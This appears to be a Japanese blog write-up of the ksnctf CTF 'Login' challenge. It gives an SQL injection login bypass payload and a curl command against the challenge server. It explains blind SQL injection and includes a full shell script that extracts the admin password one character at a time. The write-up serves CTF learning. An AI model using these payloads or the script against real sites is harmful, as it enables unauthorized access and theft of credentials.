[ksnctf] Login

ksnctfにチャレンジ
第6問目です。

※ksnctfは常駐型のCTFサイトです。
※問題のページはコチラです。

Login

ひとまずSQLインジェクションを使う問題のようなので

id=' or 1=1 --
pass=test

を指定してログインしてみます curl を使うなら
"id=' or 1=1 --&pass=test" をURLエンコードして

curl 'http://ctfq.sweetduet.info:10080/~q6/' --data 'id=%27+or+1%3D1+--&pass=test'

こんなかんじでアクセスできます。
攻撃が通ったら
Conguraturation という画面がでますが、この問題の本題はここからです。
この問題のFLAGは admin のパスワード であるようなので
SQLインジェクションを工夫して admin のパスワードを割り出さなくてはいけません。

ただ、よくある問題のように インジェクションしたSQLに応じて画面になにか
表示されるようにはなっていません。分かるのは
入力したSQL分が通れば Conguraturation
通らなければ Login Error
ということです。
つまり、Yes/No の応答しかわからないわけです。

こういう場合用いられるのが Blind SQL Injection という方法で
名前のとおりSQLの結果がそのままわからない状況でも
本問のように Yes/No がわかる状況ならば使えます。
SQL文内に sleep を含めることで
通れば SLEEP 通らなければ 即答
という感じで強引に Yes/No を聞き出す Time-based -- という方法などが
有名です。

やり方は簡単で SQL分を工夫して Yes/No で答えられる要求をつくればいいわけです。

例えば
「パスワードの1文字目が F ならば」
という条件を指定すれば Yes/No の質問で判定でき、
これを ASCIIの表示可能文字すべてで聞きこみ調査を行えば
自ずとパスワードの1文字目がわかります。
これをパスワード長分繰り返します。

この方法は各1文字ずつについて何度もアクセスを行う必要があるので
なるべく聞き取り回数を減らすことが重要です。

まずパスワードは FLAG の形をしているので
FLAG_{16桁}
の形をしているはずです。 よってパスワードの長さは21桁
先頭の FLAG_ 5文字分は確定しているので6文字目から聞き取りを行います。

使用するSQL文の雛形は

id=admin' and substr((SELECT pass FROM user WHERE id='admin'),N文字目,1)='候補文字'--

先ほどの説明どおりで
adminのパスワードのN文字目を1文字 substr で切り出してそれと一致する文字があるか
調べます。よくある形です。

以上のことから自動化したスクリプトを作成すればいいわけです。
シェルスクリプトでかきます。
こういう問題のwrite_upは pythonやRubyをよく見かけますが
curlを中心に優秀なコマンドが揃っているのでシェルスクリプト
のほうが案外楽なことも多かったりする気もします。

#!/bin/sh

i=5
flag="FLAG_"

function int2cher {
    hex=$(printf "%x" $1)
    echo $(printf "\x${hex}")
}

while [ ${i} -ne 21 ]
do
    i=`expr ${i} + 1`
    for j in `seq 33 126`
    do
        C=$(int2cher ${j})
        curl  -s 'http://ctfq.sweetduet.info:10080/~q6/' --data "id=admin%27+and+substr%28%28SELECT+pass+FROM+user+WHERE+id%3D%27admin%27%29%2C${i}%2C1%29%3D%27${C}%27--&pass=" -o tmp06
        size=$( wc -c tmp06 | cut -d ' ' -f1 -)
        if [ ${size} -gt 2100 ]
        then
            flag=${flag}${C}
            echo ${flag}
            break;            
        fi
    done
done

成功と失敗の判定ですが、今回はファイルサイズを使って判定しています。
他には ファイル中に Congraturation という文字があるか? なども
材料になると思います。

表示方法は悩みましたがニョキニョキ伸びるようにしました。
実行に時間がかかるコードなので見た目の楽しさは重要です。

コメントする